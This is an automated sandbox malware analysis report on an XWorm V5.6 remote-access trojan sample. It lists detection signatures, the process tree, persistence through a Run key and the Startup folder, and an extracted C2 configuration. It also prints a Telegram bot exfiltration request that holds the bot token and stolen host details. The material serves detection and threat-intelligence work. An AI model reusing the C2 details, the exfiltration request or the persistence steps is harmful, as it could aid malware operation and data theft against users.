Edit tour

Windows Analysis Report
yF21ypxRB7.exe

Overview

General Information

Sample name:	yF21ypxRB7.exe renamed because original name is a hash value
Original sample name:	b31d01d8e826ea4773cd7cfdbfca3712287024c03463acb374b5040af27fae71.exe
Analysis ID:	1557207
MD5:	640194b0d51307f362b74fd4a4a1761d
SHA1:	8e623f6ba2c87803f079b85578289359d71c6c90
SHA256:	b31d01d8e826ea4773cd7cfdbfca3712287024c03463acb374b5040af27fae71
Tags:	exeuser-Chainskilabs
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Contains functionality to log keystrokes (.Net Source)

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

yF21ypxRB7.exe (PID: 6312 cmdline: "C:\Users\user\Desktop\yF21ypxRB7.exe" MD5: 640194B0D51307F362B74FD4A4A1761D)

svchost.exe (PID: 1496 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1416 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6724 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1424 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 7984 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7436 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7584 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: 640194B0D51307F362B74FD4A4A1761D)

svchost.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: 640194B0D51307F362B74FD4A4A1761D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["perfect-invest.gl.at.ply.gg"], "Port": 61586, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
yF21ypxRB7.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
yF21ypxRB7.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
yF21ypxRB7.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8421:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x84be:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85d3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x80cf:$cnc4: POST / HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8421:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x84be:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85d3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x80cf:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8221:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x82be:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x83d3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7ecf:$cnc4: POST / HTTP/1.1
Process Memory Space: yF21ypxRB7.exe PID: 6312	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: yF21ypxRB7.exe PID: 6312	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.yF21ypxRB7.exe.470000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.yF21ypxRB7.exe.470000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8421:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x84be:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x85d3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x80cf:$cnc4: POST / HTTP/1.1

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\yF21ypxRB7.exe, ProcessId: 6312, TargetFilename: C:\Users\user\AppData\Roaming\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 7584, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\svchost.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\yF21ypxRB7.exe, ProcessId: 6312, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\yF21ypxRB7.exe, ProcessId: 6312, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 1496, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm Checkin via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T19:24:11.934770+0100	2853685	1	A Network Trojan was detected	192.168.2.7	49699	149.154.167.220	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T19:26:29.897915+0100	2853193	1	Malware Command and Control Activity Detected	192.168.2.7	49984	147.185.221.23	61586	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yF21ypxRB7.exe

Avira: detected

Antivirus detection for URL or domain

Source: perfect-invest.gl.at.ply.gg

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe

Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: yF21ypxRB7.exe

Malware Configuration Extractor: Xworm {"C2 url": ["perfect-invest.gl.at.ply.gg"], "Port": 61586, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe

ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: yF21ypxRB7.exe

ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\svchost.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: yF21ypxRB7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: yF21ypxRB7.exe	String decryptor: perfect-invest.gl.at.ply.gg
Source: yF21ypxRB7.exe	String decryptor: 61586
Source: yF21ypxRB7.exe	String decryptor: <123456789>
Source: yF21ypxRB7.exe	String decryptor: <Xwormmm>
Source: yF21ypxRB7.exe	String decryptor: XWorm V5.6
Source: yF21ypxRB7.exe	String decryptor: USB.exe
Source: yF21ypxRB7.exe	String decryptor: %AppData%
Source: yF21ypxRB7.exe	String decryptor: svchost.exe

Source: yF21ypxRB7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49699 version: TLS 1.2

Source: yF21ypxRB7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.7:49978 -> 147.185.221.23:61586
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.7:49984 -> 147.185.221.23:61586
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.7:49699 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: perfect-invest.gl.at.ply.gg

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: yF21ypxRB7.exe, type: SAMPLE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 147.185.221.23:61586

Source: global traffic

HTTP traffic detected: GET /bot7602273147:AAGPHHPgO8DxUDOWK0ZCgtSD_Rua_8wVzrE/sendMessage?chat_id=6589427579&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A95B5CEC98776D486C10E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20CO53M%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 147.185.221.23 147.185.221.23

Source: Joe Sandbox View

ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: perfect-invest.gl.at.ply.gg

Source: yF21ypxRB7.exe, 00000000.00000002.3701617400.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: svchost.exe, 00000002.00000002.1366625213.0000027E79813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.comsv
Source: yF21ypxRB7.exe, svchost.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366114410.0000027E79859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365942027.0000027E7986E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366768678.0000027E79870000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1365942027.0000027E7986E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366768678.0000027E79870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000002.00000002.1366782396.0000027E79877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365876022.0000027E79875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.1366114410.0000027E79859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&
Source: svchost.exe, 00000002.00000003.1365861003.0000027E79855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365861003.0000027E79855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366061020.0000027E7985D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000002.00000003.1264330890.0000027E79836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000002.00000002.1366755363.0000027E79868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365994412.0000027E79867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000003.1366141378.0000027E79841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000002.00000002.1366687714.0000027E79842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366127965.0000027E79848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000003.1366127965.0000027E79848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000002.1366644805.0000027E7982B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.1366155081.0000027E79857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1366713689.0000027E79858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000002.00000002.1366740763.0000027E79862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1366021198.0000027E79861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49699 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: yF21ypxRB7.exe, XLogger.cs	.Net Code: KeyboardLayout
Source: svchost.exe.0.dr, XLogger.cs	.Net Code: KeyboardLayout

System Summary

Malicious sample detected (through community Yara rule)

Source: yF21ypxRB7.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.yF21ypxRB7.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Code function: 0_2_00007FFAAC5B79C2	0_2_00007FFAAC5B79C2
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Code function: 0_2_00007FFAAC5B0ED9	0_2_00007FFAAC5B0ED9
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Code function: 0_2_00007FFAAC5B6C16	0_2_00007FFAAC5B6C16
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Code function: 0_2_00007FFAAC5B4FDD	0_2_00007FFAAC5B4FDD
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFAAC570ED9	8_2_00007FFAAC570ED9
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFAAC580ED9	10_2_00007FFAAC580ED9

Source: yF21ypxRB7.exe, 00000000.00000000.1245680814.000000000047C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVmxCheats.exe4 vs yF21ypxRB7.exe
Source: yF21ypxRB7.exe	Binary or memory string: OriginalFilenameVmxCheats.exe4 vs yF21ypxRB7.exe

Source: yF21ypxRB7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: yF21ypxRB7.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.yF21ypxRB7.exe.470000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: yF21ypxRB7.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: yF21ypxRB7.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
